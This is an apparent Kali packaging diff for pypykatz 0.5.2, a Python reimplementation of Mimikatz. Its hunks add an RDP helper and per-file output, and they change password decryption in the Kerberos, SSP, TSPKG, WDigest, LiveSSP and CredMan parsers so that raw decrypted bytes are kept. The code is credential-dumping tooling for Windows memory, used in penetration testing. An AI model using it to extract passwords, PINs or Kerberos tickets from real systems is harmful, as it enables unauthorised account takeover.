Import upstream version 0.5.2
Kali Janitor
2 years ago
0 | 0 | Metadata-Version: 1.2 |
1 | 1 | Name: pypykatz |
2 | Version: 0.4.9 | |
2 | Version: 0.5.2 | |
3 | 3 | Summary: Python implementation of Mimikatz |
4 | 4 | Home-page: https://github.com/skelsec/pypykatz |
5 | 5 | Author: Tamas Jos |
17 | 17 | from pypykatz.registry.cmdhelper import RegistryCMDHelper |
18 | 18 | from pypykatz.remote.cmdhelper import RemoteCMDHelper |
19 | 19 | from pypykatz.dpapi.cmdhelper import DPAPICMDHelper |
20 | from pypykatz.rdp.cmdhelper import RDPCMDHelper | |
20 | 21 | |
21 | cmdhelpers = [LSACMDHelper(), RegistryCMDHelper(), CryptoCMDHelper(), KerberosCMDHelper(), RemoteCMDHelper(), DPAPICMDHelper(), LDAPCMDHelper()] | |
22 | cmdhelpers = [LSACMDHelper(), RegistryCMDHelper(), CryptoCMDHelper(), KerberosCMDHelper(), RemoteCMDHelper(), DPAPICMDHelper(), LDAPCMDHelper(), RDPCMDHelper()] | |
22 | 23 | |
23 | 24 | try: |
24 | 25 | from pypykatz.smb.cmdhelper import SMBCMDHelper |
80 | 80 | print(json.dumps(results, cls = UniversalEncoder, indent=4, sort_keys=True)) |
81 | 81 | |
82 | 82 | elif args.grep: |
83 | print(':'.join(LogonSession.grep_header)) | |
83 | if args.directory: | |
84 | print(':'.join(['filename'] + LogonSession.grep_header)) | |
85 | else: | |
86 | print(':'.join(LogonSession.grep_header)) | |
84 | 87 | for result in results: |
85 | 88 | for luid in results[result].logon_sessions: |
86 | 89 | for row in results[result].logon_sessions[luid].to_grep_rows(): |
90 | if args.directory: | |
91 | row = [result] + row | |
87 | 92 | print(':'.join(row)) |
88 | 93 | for cred in results[result].orphaned_creds: |
89 | 94 | t = cred.to_dict() |
90 | 95 | if t['credtype'] != 'dpapi': |
91 | 96 | if t['password'] is not None: |
92 | 97 | x = [str(t['credtype']), str(t['domainname']), str(t['username']), '', '', '', '', '', str(t['password'])] |
98 | if args.directory: | |
99 | x = [result] + x | |
93 | 100 | print(':'.join(x)) |
94 | 101 | else: |
95 | 102 | t = cred.to_dict() |
96 | 103 | x = [str(t['credtype']), '', '', '', '', '', str(t['masterkey']), str(t['sha1_masterkey']), str(t['key_guid']), ''] |
104 | if args.directory: | |
105 | x = [result] + x | |
97 | 106 | print(':'.join(x)) |
98 | 107 | |
99 | 108 | for pkg, err in results[result].errors: |
100 | 109 | err_str = str(err) +'\r\n' + '\r\n'.join(traceback.format_tb(err.__traceback__)) |
101 | 110 | err_str = base64.b64encode(err_str.encode()).decode() |
102 | 111 | x = [pkg+'_exception_please_report', '', '', '', '', '', '', '', '', err_str] |
112 | if args.directory: | |
113 | x = [result] + x | |
103 | 114 | print(':'.join(x) + '\r\n') |
104 | 115 | |
105 | 116 | else: |
116 | 116 | if temp and len(temp) > 0: |
117 | 117 | if bytes_expected == False: |
118 | 118 | try: # normal password |
119 | dec_password = temp.decode('ascii') | |
119 | dec_password = temp.decode('utf-16-le') | |
120 | 120 | except: # machine password |
121 | 121 | try: |
122 | 122 | dec_password = temp.decode('utf-8') |
123 | 123 | except: |
124 | 124 | try: |
125 | dec_password = temp.decode('utf-16-le') | |
125 | dec_password = temp.decode('ascii') | |
126 | 126 | except: |
127 | 127 | dec_password = temp.hex() |
128 | 128 | else: # if not machine password, then check if we should trim it |
131 | 131 | else: |
132 | 132 | dec_password = temp |
133 | 133 | |
134 | return dec_password | |
134 | return dec_password, temp | |
135 | 135 | |
136 | 136 | async def walk_avl(self, node_ptr, result_ptr_list): |
137 | 137 | """ |
57 | 57 | cred.cachedir = cache.toname.decode('utf-16-le').replace('\x00','') |
58 | 58 | if cache.cbPRT != 0 and cache.PRT.value != 0: |
59 | 59 | ptr_enc = await cache.PRT.read_raw(self.reader, cache.cbPRT) |
60 | temp = self.decrypt_password(ptr_enc, bytes_expected=True) | |
60 | temp, raw_dec = self.decrypt_password(ptr_enc, bytes_expected=True) | |
61 | 61 | try: |
62 | 62 | temp = temp.decode() |
63 | 63 | except: |
69 | 69 | unk = await cache.toDetermine.read(self.reader) |
70 | 70 | if unk is not None: |
71 | 71 | cred.key_guid = unk.guid.value |
72 | cred.dpapi_key = self.decrypt_password(unk.unk) | |
72 | cred.dpapi_key, raw_dec = self.decrypt_password(unk.unk) | |
73 | 73 | cred.dpapi_key_sha1 = hashlib.sha1(bytes.fromhex(cred.dpapi_key)).hexdigest() |
74 | 74 | |
75 | 75 | if cred.PRT is None and cred.key_guid is None: |
51 | 51 | async def add_entry(self, dpapi_entry): |
52 | 52 | |
53 | 53 | if dpapi_entry and dpapi_entry.keySize > 0: #and dpapi_entry.keySize % 8 == 0: |
54 | dec_masterkey = self.decrypt_password(dpapi_entry.key, bytes_expected = True) | |
54 | dec_masterkey, raw_dec = self.decrypt_password(dpapi_entry.key, bytes_expected = True) | |
55 | 55 | sha_masterkey = hashlib.sha1(dec_masterkey).hexdigest() |
56 | 56 | |
57 | 57 | c = DpapiCredential() |
69 | 69 | self.current_ticket_type = None |
70 | 70 | self.current_cred = None |
71 | 71 | |
72 | def find_first_entry(self): | |
73 | position = self.find_signature('kerberos.dll',self.decryptor_template.signature) | |
74 | ptr_entry_loc = self.reader.get_ptr_with_offset(position + self.decryptor_template.first_entry_offset) | |
75 | ptr_entry = self.reader.get_ptr(ptr_entry_loc) | |
72 | async def find_first_entry(self): | |
73 | position = await self.find_signature('kerberos.dll',self.decryptor_template.signature) | |
74 | ptr_entry_loc = await self.reader.get_ptr_with_offset(position + self.decryptor_template.first_entry_offset) | |
75 | ptr_entry = await self.reader.get_ptr(ptr_entry_loc) | |
76 | 76 | return ptr_entry, ptr_entry_loc |
77 | 77 | |
78 | 78 | def handle_ticket(self, kerberos_ticket): |
83 | 83 | except Exception as e: |
84 | 84 | raise e |
85 | 85 | |
86 | def start(self): | |
86 | async def start(self): | |
87 | 87 | try: |
88 | entry_ptr_value, entry_ptr_loc = self.find_first_entry() | |
88 | entry_ptr_value, entry_ptr_loc = await self.find_first_entry() | |
89 | 89 | except Exception as e: |
90 | 90 | self.log('Failed to find structs! Reason: %s' % e) |
91 | 91 | return |
92 | 92 | |
93 | 93 | if self.sysinfo.buildnumber < WindowsMinBuild.WIN_VISTA.value: |
94 | self.reader.move(entry_ptr_loc) | |
95 | entry_ptr = PLIST_ENTRY(self.reader) | |
96 | self.walk_list(entry_ptr, self.process_session_elist) | |
94 | await self.reader.move(entry_ptr_loc) | |
95 | entry_ptr = await PLIST_ENTRY.load(self.reader) | |
96 | await self.walk_list(entry_ptr, self.process_session_elist) | |
97 | 97 | else: |
98 | 98 | result_ptr_list = [] |
99 | self.reader.move(entry_ptr_value) | |
100 | start_node = PRTL_AVL_TABLE(self.reader).read(self.reader) | |
101 | self.walk_avl(start_node.BalancedRoot.RightChild, result_ptr_list) | |
99 | await self.reader.move(entry_ptr_value) | |
100 | start_node = await PRTL_AVL_TABLE.load(self.reader).read(self.reader) | |
101 | await self.walk_avl(start_node.BalancedRoot.RightChild, result_ptr_list) | |
102 | 102 | |
103 | 103 | for ptr in result_ptr_list: |
104 | 104 | self.log_ptr(ptr, self.decryptor_template.kerberos_session_struct.__name__) |
105 | self.reader.move(ptr) | |
106 | kerberos_logon_session = self.decryptor_template.kerberos_session_struct(self.reader) | |
107 | self.process_session(kerberos_logon_session) | |
108 | ||
109 | def process_session_elist(self, elist): | |
110 | self.reader.move(elist.location) | |
111 | self.reader.read_uint() #Flink do not remove this line! | |
112 | self.reader.read_uint() #Blink do not remove this line! | |
113 | kerberos_logon_session = self.decryptor_template.kerberos_session_struct(self.reader) | |
114 | self.process_session(kerberos_logon_session) | |
115 | ||
116 | def process_session(self, kerberos_logon_session): | |
105 | await self.reader.move(ptr) | |
106 | kerberos_logon_session = await self.decryptor_template.kerberos_session_struct.load(self.reader) | |
107 | await self.process_session(kerberos_logon_session) | |
108 | ||
109 | async def process_session_elist(self, elist): | |
110 | await self.reader.move(elist.location) | |
111 | await self.reader.read_uint() #Flink do not remove this line! | |
112 | await self.reader.read_uint() #Blink do not remove this line! | |
113 | kerberos_logon_session = await self.decryptor_template.kerberos_session_struct.load(self.reader) | |
114 | await self.process_session(kerberos_logon_session) | |
115 | ||
116 | async def process_session(self, kerberos_logon_session): | |
117 | 117 | self.current_cred = KerberosCredential() |
118 | 118 | self.current_cred.luid = kerberos_logon_session.LocallyUniqueIdentifier |
119 | 119 | |
120 | self.current_cred.username = kerberos_logon_session.credentials.UserName.read_string(self.reader) | |
121 | self.current_cred.domainname = kerberos_logon_session.credentials.Domaine.read_string(self.reader) | |
120 | self.current_cred.username = await kerberos_logon_session.credentials.UserName.read_string(self.reader) | |
121 | self.current_cred.domainname = await kerberos_logon_session.credentials.Domaine.read_string(self.reader) | |
122 | 122 | if self.current_cred.username.endswith('$') is True: |
123 | self.current_cred.password = self.decrypt_password(kerberos_logon_session.credentials.Password.read_maxdata(self.reader), bytes_expected=True) | |
123 | self.current_cred.password, raw_dec = self.decrypt_password(kerberos_logon_session.credentials.Password.read_maxdata(self.reader), bytes_expected=True) | |
124 | 124 | if self.current_cred.password is not None: |
125 | 125 | self.current_cred.password = self.current_cred.password.hex() |
126 | 126 | else: |
127 | self.current_cred.password = self.decrypt_password(kerberos_logon_session.credentials.Password.read_maxdata(self.reader)) | |
127 | self.current_cred.password, raw_dec = self.decrypt_password(kerberos_logon_session.credentials.Password.read_maxdata(self.reader)) | |
128 | 128 | |
129 | 129 | if kerberos_logon_session.SmartcardInfos.value != 0: |
130 | csp_info = kerberos_logon_session.SmartcardInfos.read(self.reader, override_finaltype = self.decryptor_template.csp_info_struct) | |
131 | pin_enc = csp_info.PinCode.read_maxdata(self.reader) | |
132 | self.current_cred.pin = self.decrypt_password(pin_enc) | |
130 | csp_info = await kerberos_logon_session.SmartcardInfos.read(self.reader, override_finaltype = self.decryptor_template.csp_info_struct) | |
131 | pin_enc = await csp_info.PinCode.read_maxdata(self.reader) | |
132 | self.current_cred.pin, raw_dec = self.decrypt_password(pin_enc) | |
133 | 133 | if csp_info.CspDataLength != 0: |
134 | 134 | self.current_cred.cardinfo = csp_info.CspData.get_infos() |
135 | 135 | |
136 | 136 | #### key list (still in session) this is not a linked list (thank god!) |
137 | 137 | if kerberos_logon_session.pKeyList.value != 0: |
138 | key_list = kerberos_logon_session.pKeyList.read(self.reader, override_finaltype = self.decryptor_template.keys_list_struct) | |
138 | key_list = await kerberos_logon_session.pKeyList.read(self.reader, override_finaltype = self.decryptor_template.keys_list_struct) | |
139 | 139 | #print(key_list.cbItem) |
140 | key_list.read(self.reader, self.decryptor_template.hash_password_struct) | |
140 | await key_list.read(self.reader, self.decryptor_template.hash_password_struct) | |
141 | 141 | for key in key_list.KeyEntries: |
142 | 142 | pass |
143 | 143 | ### GOOD |
144 | 144 | #keydata_enc = key.generic.Checksump.read_raw(self.reader, key.generic.Size) |
145 | 145 | #print(keydata_enc) |
146 | #keydata = self.decrypt_password(keydata_enc, bytes_expected=True) | |
146 | #keydata, raw_dec = self.decrypt_password(keydata_enc, bytes_expected=True) | |
147 | 147 | #print(keydata_enc.hex()) |
148 | 148 | #input('KEY?') |
149 | 149 | |
203 | 203 | kerberos_logon_session.Tickets_1.Flink.value != kerberos_logon_session.Tickets_1.Flink.location and \ |
204 | 204 | kerberos_logon_session.Tickets_1.Flink.value != kerberos_logon_session.Tickets_1.Flink.location - 4 : |
205 | 205 | self.current_ticket_type = KerberosTicketType.TGS |
206 | self.walk_list(kerberos_logon_session.Tickets_1.Flink, self.handle_ticket , override_ptr = self.decryptor_template.kerberos_ticket_struct) | |
206 | await self.walk_list(kerberos_logon_session.Tickets_1.Flink, self.handle_ticket , override_ptr = self.decryptor_template.kerberos_ticket_struct) | |
207 | 207 | |
208 | 208 | if kerberos_logon_session.Tickets_2.Flink.value != 0 and \ |
209 | 209 | kerberos_logon_session.Tickets_2.Flink.value != kerberos_logon_session.Tickets_2.Flink.location and \ |
210 | 210 | kerberos_logon_session.Tickets_2.Flink.value != kerberos_logon_session.Tickets_2.Flink.location - 4 : |
211 | 211 | self.current_ticket_type = KerberosTicketType.CLIENT |
212 | self.walk_list(kerberos_logon_session.Tickets_2.Flink,self.handle_ticket , override_ptr = self.decryptor_template.kerberos_ticket_struct) | |
212 | await self.walk_list(kerberos_logon_session.Tickets_2.Flink,self.handle_ticket , override_ptr = self.decryptor_template.kerberos_ticket_struct) | |
213 | 213 | |
214 | 214 | if kerberos_logon_session.Tickets_3.Flink.value != 0 and \ |
215 | 215 | kerberos_logon_session.Tickets_3.Flink.value != kerberos_logon_session.Tickets_3.Flink.location and \ |
216 | 216 | kerberos_logon_session.Tickets_3.Flink.value != kerberos_logon_session.Tickets_3.Flink.location - 4 : |
217 | 217 | self.current_ticket_type = KerberosTicketType.TGT |
218 | self.walk_list(kerberos_logon_session.Tickets_3.Flink,self.handle_ticket , override_ptr = self.decryptor_template.kerberos_ticket_struct) | |
218 | await self.walk_list(kerberos_logon_session.Tickets_3.Flink,self.handle_ticket , override_ptr = self.decryptor_template.kerberos_ticket_struct) | |
219 | 219 | self.current_ticket_type = None |
220 | 220 | self.credentials.append(self.current_cred) |
221 | 221 |
12 | 12 | self.username = None |
13 | 13 | self.domainname = None |
14 | 14 | self.password = None |
15 | self.password_raw = None | |
15 | 16 | self.luid = None |
16 | 17 | |
17 | 18 | def to_dict(self): |
20 | 21 | t['username'] = self.username |
21 | 22 | t['domainname'] = self.domainname |
22 | 23 | t['password'] = self.password |
24 | t['password_raw'] = self.password_raw | |
23 | 25 | t['luid'] = self.luid |
24 | 26 | return t |
25 | 27 | def to_json(self): |
30 | 32 | t += '\tusername %s\n' % self.username |
31 | 33 | t += '\tdomainname %s\n' % self.domainname |
32 | 34 | t += '\tpassword %s\n' % self.password |
35 | t += '\t\tpassword (hex)%s\n' % self.password_raw.hex() | |
33 | 36 | return t |
34 | 37 | |
35 | 38 | class LiveSspDecryptor(PackageDecryptor): |
55 | 58 | if suppCreds.credentials.Password.Length != 0: |
56 | 59 | enc_data = await suppCreds.credentials.Password.read_maxdata(self.reader) |
57 | 60 | if c.username.endswith('$') is True: |
58 | c.password = self.decrypt_password(enc_data, bytes_expected=True) | |
61 | c.password, c.password_raw = self.decrypt_password(enc_data, bytes_expected=True) | |
59 | 62 | if c.password is not None: |
60 | 63 | c.password = c.password.hex() |
61 | 64 | else: |
62 | c.password = self.decrypt_password(enc_data) | |
65 | c.password, c.password_raw = self.decrypt_password(enc_data) | |
63 | 66 | |
64 | 67 | self.credentials.append(c) |
65 | 68 |
30 | 30 | t['LMHash'] = self.LMHash |
31 | 31 | t['SHAHash'] = self.SHAHash |
32 | 32 | t['DPAPI'] = self.DPAPI |
33 | t['isoProt'] = self.isoProt | |
33 | 34 | return t |
34 | 35 | |
35 | 36 | def to_json(self): |
51 | 52 | self.luid = None |
52 | 53 | self.username = None |
53 | 54 | self.password = None |
55 | self.password_raw = None | |
54 | 56 | self.domainname = None |
55 | 57 | |
56 | 58 | def to_dict(self): |
59 | 61 | t['username'] = self.username |
60 | 62 | t['domainname'] = self.domainname |
61 | 63 | t['password'] = self.password |
64 | t['password_raw'] = self.password_raw | |
62 | 65 | t['luid'] = self.luid |
63 | 66 | return t |
64 | 67 | |
71 | 74 | t += '\t\tusername %s\n' % self.username |
72 | 75 | t += '\t\tdomain %s\n' % self.domainname |
73 | 76 | t += '\t\tpassword %s\n' % self.password |
77 | t += '\t\tpassword (hex)%s\n' % self.password_raw.hex() | |
74 | 78 | return t |
75 | 79 | |
76 | 80 | |
332 | 336 | if credman_credential_entry.cbEncPassword and credman_credential_entry.cbEncPassword != 0: |
333 | 337 | enc_data = await credman_credential_entry.encPassword.read_raw(self.reader, credman_credential_entry.cbEncPassword) |
334 | 338 | if c.username.endswith('$') is True: |
335 | c.password = self.decrypt_password(enc_data, bytes_expected=True) | |
339 | c.password, c.password_raw = self.decrypt_password(enc_data, bytes_expected=True) | |
336 | 340 | if c.password is not None: |
337 | 341 | c.password = c.password.hex() |
338 | 342 | else: |
339 | c.password = self.decrypt_password(enc_data) | |
343 | c.password, c.password_raw = self.decrypt_password(enc_data) | |
340 | 344 | |
341 | 345 | c.luid = self.current_logonsession.luid |
342 | 346 | |
352 | 356 | |
353 | 357 | self.log('Encrypted credential data \n%s' % hexdump(encrypted_credential_data)) |
354 | 358 | self.log('Decrypting credential structure') |
355 | dec_data = self.decrypt_password(encrypted_credential_data, bytes_expected = True) | |
359 | dec_data, raw_dec = self.decrypt_password(encrypted_credential_data, bytes_expected = True) | |
356 | 360 | self.log('%s: \n%s' % (self.decryptor_template.decrypted_credential_struct.__name__, hexdump(dec_data))) |
357 | 361 | |
358 | 362 | struct_reader = AGenericReader(dec_data, self.sysinfo.architecture) |
13 | 13 | self.username = None |
14 | 14 | self.domainname = None |
15 | 15 | self.password = None |
16 | self.password_raw = None | |
16 | 17 | self.luid = None |
17 | 18 | |
18 | 19 | def to_dict(self): |
21 | 22 | t['username'] = self.username |
22 | 23 | t['domainname'] = self.domainname |
23 | 24 | t['password'] = self.password |
25 | t['password_raw'] = self.password_raw | |
24 | 26 | t['luid'] = self.luid |
25 | 27 | return t |
26 | 28 | |
32 | 34 | t += '\t\tusername %s\n' % self.username |
33 | 35 | t += '\t\tdomainname %s\n' % self.domainname |
34 | 36 | t += '\t\tpassword %s\n' % self.password |
37 | t += '\t\tpassword (hex)%s\n' % self.password_raw.hex() | |
35 | 38 | return t |
36 | 39 | |
37 | 40 | class SspDecryptor(PackageDecryptor): |
54 | 57 | if ssp_entry.credentials.Password.Length != 0: |
55 | 58 | if c.username.endswith('$') is True or c.domainname.endswith('$') is True: |
56 | 59 | enc_data = await ssp_entry.credentials.Password.read_data(self.reader) |
57 | c.password = self.decrypt_password(enc_data, bytes_expected=True) | |
60 | c.password, c.password_raw = self.decrypt_password(enc_data, bytes_expected=True) | |
58 | 61 | if c.password is not None: |
59 | 62 | c.password = c.password.hex() |
60 | 63 | else: |
61 | 64 | enc_data = await ssp_entry.credentials.Password.read_data(self.reader) |
62 | c.password = self.decrypt_password(enc_data) | |
65 | c.password, c.password_raw = self.decrypt_password(enc_data) | |
63 | 66 | |
64 | 67 | if c.username == '' and c.domainname == '' and c.password is None: |
65 | 68 | return |
15 | 15 | self.username = None |
16 | 16 | self.domainname = None |
17 | 17 | self.password = None |
18 | self.password_raw = None | |
18 | 19 | self.luid = None |
19 | 20 | |
20 | 21 | def to_dict(self): |
23 | 24 | t['username'] = self.username |
24 | 25 | t['domainname'] = self.domainname |
25 | 26 | t['password'] = self.password |
27 | t['password_raw'] = self.password_raw | |
26 | 28 | t['luid'] = self.luid |
27 | 29 | return t |
30 | ||
28 | 31 | def to_json(self): |
29 | 32 | return json.dumps(self.to_dict()) |
30 | 33 | |
33 | 36 | t += '\t\tusername %s\n' % self.username |
34 | 37 | t += '\t\tdomainname %s\n' % self.domainname |
35 | 38 | t += '\t\tpassword %s\n' % self.password |
39 | t += '\t\tpassword (hex)%s\n' % self.password_raw.hex() | |
36 | 40 | return t |
37 | 41 | |
38 | 42 | class TspkgDecryptor(PackageDecryptor): |
82 | 86 | if primary_credential.credentials.Password.Length != 0: |
83 | 87 | enc_data = await primary_credential.credentials.Password.read_maxdata(self.reader) |
84 | 88 | if c.username.endswith('$') is True: |
85 | c.password = self.decrypt_password(enc_data, bytes_expected=True) | |
89 | c.password, c.password_raw = self.decrypt_password(enc_data, bytes_expected=True) | |
86 | 90 | if c.password is not None: |
87 | 91 | c.password = c.password.hex() |
88 | 92 | else: |
89 | c.password = self.decrypt_password(enc_data) | |
93 | c.password, c.password_raw = self.decrypt_password(enc_data) | |
90 | 94 | |
91 | 95 | self.credentials.append(c)⏎ |
14 | 14 | self.username = None |
15 | 15 | self.domainname = None |
16 | 16 | self.password = None |
17 | self.password_raw = None | |
17 | 18 | self.luid = None |
18 | 19 | |
19 | 20 | def to_dict(self): |
22 | 23 | t['username'] = self.username |
23 | 24 | t['domainname'] = self.domainname |
24 | 25 | t['password'] = self.password |
26 | t['password_raw'] = self.password_raw | |
25 | 27 | t['luid'] = self.luid |
26 | 28 | return t |
27 | 29 | def to_json(self): |
32 | 34 | t += '\t\tusername %s\n' % self.username |
33 | 35 | t += '\t\tdomainname %s\n' % self.domainname |
34 | 36 | t += '\t\tpassword %s\n' % self.password |
37 | t += '\t\tpassword (hex)%s\n' % self.password_raw.hex() | |
35 | 38 | return t |
36 | 39 | |
37 | 40 | class WdigestDecryptor(PackageDecryptor): |
64 | 67 | wc.domainname = await DomainName.read_string(self.reader) |
65 | 68 | wc.encrypted_password = await Password.read_maxdata(self.reader) |
66 | 69 | if wc.username.endswith('$') is True: |
67 | wc.password = self.decrypt_password(wc.encrypted_password, bytes_expected=True) | |
70 | wc.password, wc.password_raw = self.decrypt_password(wc.encrypted_password, bytes_expected=True) | |
68 | 71 | if wc.password is not None: |
69 | 72 | wc.password = wc.password.hex() |
70 | 73 | else: |
71 | wc.password = self.decrypt_password(wc.encrypted_password) | |
74 | wc.password, wc.password_raw = self.decrypt_password(wc.encrypted_password) | |
72 | 75 | |
73 | 76 | if wc.username == '' and wc.domainname == '' and wc.password is None: |
74 | 77 | return |
380 | 380 | @note Full support for python2 and python3 ! |
381 | 381 | ''' |
382 | 382 | result = [] |
383 | if src is None: | |
384 | return '' | |
383 | 385 | |
384 | 386 | # Python3 support |
385 | 387 | try: |
29 | 29 | |
30 | 30 | |
31 | 31 | from .defines import * |
32 | ||
33 | STILL_ACTIVE = 259 | |
34 | ||
35 | WAIT_TIMEOUT = 0x102 | |
36 | WAIT_FAILED = -1 | |
37 | WAIT_OBJECT_0 = 0 | |
38 | ||
32 | 39 | |
33 | 40 | PAGE_NOACCESS = 0x01 |
34 | 41 | PAGE_READONLY = 0x02 |
668 | 675 | _fields_ = (('Level', UCHAR), |
669 | 676 | ('obj', UNION_PS_PROTECTION), |
670 | 677 | ) |
678 | ||
679 | ||
680 | # BOOL WINAPI GetExitCodeThread( | |
681 | # __in HANDLE hThread, | |
682 | # __out LPDWORD lpExitCode | |
683 | # ); | |
684 | def GetExitCodeThread(hThread): | |
685 | _GetExitCodeThread = windll.kernel32.GetExitCodeThread | |
686 | _GetExitCodeThread.argtypes = [HANDLE, PDWORD] | |
687 | _GetExitCodeThread.restype = bool | |
688 | _GetExitCodeThread.errcheck = RaiseIfZero | |
689 | ||
690 | lpExitCode = DWORD(0) | |
691 | _GetExitCodeThread(hThread, byref(lpExitCode)) | |
692 | return lpExitCode.value | |
693 | ||
694 | # DWORD WINAPI WaitForSingleObject( | |
695 | # HANDLE hHandle, | |
696 | # DWORD dwMilliseconds | |
697 | # ); | |
698 | def WaitForSingleObject(hHandle, dwMilliseconds = INFINITE): | |
699 | _WaitForSingleObject = windll.kernel32.WaitForSingleObject | |
700 | _WaitForSingleObject.argtypes = [HANDLE, DWORD] | |
701 | _WaitForSingleObject.restype = DWORD | |
702 | ||
703 | if not dwMilliseconds and dwMilliseconds != 0: | |
704 | dwMilliseconds = INFINITE | |
705 | if dwMilliseconds != INFINITE: | |
706 | r = _WaitForSingleObject(hHandle, dwMilliseconds) | |
707 | if r == WAIT_FAILED: | |
708 | raise ctypes.WinError() | |
709 | else: | |
710 | while 1: | |
711 | r = _WaitForSingleObject(hHandle, 100) | |
712 | if r == WAIT_FAILED: | |
713 | raise ctypes.WinError() | |
714 | if r != WAIT_TIMEOUT: | |
715 | break | |
716 | return r⏎ |
5 | 5 | |
6 | 6 | from pypykatz.commons.readers.local.common.kernel32 import * |
7 | 7 | from pypykatz.commons.readers.local.common.psapi import * |
8 | from pypykatz.commons.readers.local.common.version import * | |
8 | 9 | |
9 | 10 | class WindowsMinBuild(enum.Enum): |
10 | 11 | WIN_XP = 2500 |
17 | 18 | |
18 | 19 | |
19 | 20 | #utter microsoft bullshit commencing.. |
20 | def getWindowsBuild(): | |
21 | class OSVersionInfo(ctypes.Structure): | |
22 | _fields_ = [ | |
23 | ("dwOSVersionInfoSize" , ctypes.c_int), | |
24 | ("dwMajorVersion" , ctypes.c_int), | |
25 | ("dwMinorVersion" , ctypes.c_int), | |
26 | ("dwBuildNumber" , ctypes.c_int), | |
27 | ("dwPlatformId" , ctypes.c_int), | |
28 | ("szCSDVersion" , ctypes.c_char*128)]; | |
29 | GetVersionEx = getattr( ctypes.windll.kernel32 , "GetVersionExA") | |
30 | version = OSVersionInfo() | |
31 | version.dwOSVersionInfoSize = ctypes.sizeof(OSVersionInfo) | |
32 | GetVersionEx( ctypes.byref(version) ) | |
33 | return version.dwBuildNumber | |
21 | def getWindowsBuild(): | |
22 | ||
23 | version = GetVersionExA() | |
24 | return version.dwBuildNumber | |
25 | ||
26 | #class OSVersionInfo(ctypes.Structure): | |
27 | # _fields_ = [ | |
28 | # ("dwOSVersionInfoSize" , ctypes.c_int), | |
29 | # ("dwMajorVersion" , ctypes.c_int), | |
30 | # ("dwMinorVersion" , ctypes.c_int), | |
31 | # ("dwBuildNumber" , ctypes.c_int), | |
32 | # ("dwPlatformId" , ctypes.c_int), | |
33 | # ("szCSDVersion" , ctypes.c_char*128)]; | |
34 | #GetVersionEx = getattr( ctypes.windll.kernel32 , "GetVersionExA") | |
35 | #version = OSVersionInfo() | |
36 | #version.dwOSVersionInfoSize = ctypes.sizeof(OSVersionInfo) | |
37 | #GetVersionEx( ctypes.byref(version) ) | |
38 | #return version.dwBuildNumber | |
34 | 39 | |
35 | 40 | DELETE = 0x00010000 |
36 | 41 | READ_CONTROL = 0x00020000 |
49 | 54 | |
50 | 55 | |
51 | 56 | def QueryDosDevice(drive_letter): |
52 | buffer_length = 1024 | |
53 | buf = ctypes.create_unicode_buffer(buffer_length) | |
54 | status = windll.kernel32.QueryDosDeviceW(drive_letter, buf, buffer_length) | |
55 | if status == 0: | |
56 | raise ctypes.WinError() | |
57 | return buf.value | |
57 | buffer_length = 1024 | |
58 | buf = ctypes.create_unicode_buffer(buffer_length) | |
59 | status = windll.kernel32.QueryDosDeviceW(drive_letter, buf, buffer_length) | |
60 | if status == 0: | |
61 | raise ctypes.WinError() | |
62 | return buf.value | |
58 | 63 | |
59 | 64 | |
60 | 65 | def get_drives(): |
61 | drives = [] | |
62 | bitmask = windll.kernel32.GetLogicalDrives() | |
63 | for letter in 'ABCDEFGHIJKLMNOPQRSTUVWXYZ': | |
64 | if bitmask & 1: | |
65 | drives.append(letter + ':') | |
66 | bitmask >>= 1 | |
67 | return drives | |
66 | drives = [] | |
67 | bitmask = windll.kernel32.GetLogicalDrives() | |
68 | for letter in 'ABCDEFGHIJKLMNOPQRSTUVWXYZ': | |
69 | if bitmask & 1: | |
70 | drives.append(letter + ':') | |
71 | bitmask >>= 1 | |
72 | return drives | |
68 | 73 | |
69 | 74 | def get_device_prefixes(): |
70 | device_prefixes = {} | |
71 | drives = get_drives() | |
72 | for drive in drives: | |
73 | device_prefixes[QueryDosDevice(drive)] = drive | |
74 | return device_prefixes | |
75 | device_prefixes = {} | |
76 | drives = get_drives() | |
77 | for drive in drives: | |
78 | device_prefixes[QueryDosDevice(drive)] = drive | |
79 | return device_prefixes | |
75 | 80 | |
76 | 81 | DEVICE_PREFIXES = get_device_prefixes() |
77 | 82 | |
86 | 91 | # Get full normalized image path of a process using NtQuerySystemInformation |
87 | 92 | # It doesn't need any special privileges |
88 | 93 | def get_process_full_imagename(pid): |
89 | _NtQuerySystemInformation = windll.ntdll.NtQuerySystemInformation | |
90 | image_filename = '' | |
91 | buf = ctypes.create_unicode_buffer(0x1000) | |
92 | process_info = SYSTEM_PROCESS_ID_INFORMATION() | |
93 | process_info.ProcessId = ctypes.c_void_p(pid) | |
94 | process_info.ImageName.MaximumLength = len(buf) | |
95 | process_info.ImageName.Buffer = addressof(buf) | |
96 | status = _NtQuerySystemInformation( | |
97 | SystemProcessIdInformation, | |
98 | process_info, | |
99 | sizeof(process_info), | |
100 | None) | |
101 | if status == STATUS_INFO_LENGTH_MISMATCH: | |
102 | buf = ctypes.create_unicode_buffer(MAX_PATH_UNICODE) | |
103 | process_info.ImageName.MaximumLength = len(buf) | |
104 | process_info.ImageName.Buffer = addressof(buf) | |
105 | status = _NtQuerySystemInformation( | |
106 | SystemProcessIdInformation, | |
107 | process_info, | |
108 | sizeof(process_info), | |
109 | None) | |
110 | if status == 0: | |
111 | image_filename = str(process_info.ImageName.Buffer) | |
112 | if image_filename.startswith('\\Device\\'): | |
113 | for win_path in DEVICE_PREFIXES: | |
114 | if image_filename.startswith(win_path): | |
115 | image_filename = DEVICE_PREFIXES[win_path] + image_filename[len(win_path):] | |
116 | else: | |
117 | image_filename = 'N/A' | |
118 | return image_filename | |
94 | _NtQuerySystemInformation = windll.ntdll.NtQuerySystemInformation | |
95 | image_filename = '' | |
96 | buf = ctypes.create_unicode_buffer(0x1000) | |
97 | process_info = SYSTEM_PROCESS_ID_INFORMATION() | |
98 | process_info.ProcessId = ctypes.c_void_p(pid) | |
99 | process_info.ImageName.MaximumLength = len(buf) | |
100 | process_info.ImageName.Buffer = addressof(buf) | |
101 | status = _NtQuerySystemInformation( | |
102 | SystemProcessIdInformation, | |
103 | process_info, | |
104 | sizeof(process_info), | |
105 | None) | |
106 | if status == STATUS_INFO_LENGTH_MISMATCH: | |
107 | buf = ctypes.create_unicode_buffer(MAX_PATH_UNICODE) | |
108 | process_info.ImageName.MaximumLength = len(buf) | |
109 | process_info.ImageName.Buffer = addressof(buf) | |
110 | status = _NtQuerySystemInformation( | |
111 | SystemProcessIdInformation, | |
112 | process_info, | |
113 | sizeof(process_info), | |
114 | None) | |
115 | if status == 0: | |
116 | image_filename = str(process_info.ImageName.Buffer) | |
117 | if image_filename.startswith('\\Device\\'): | |
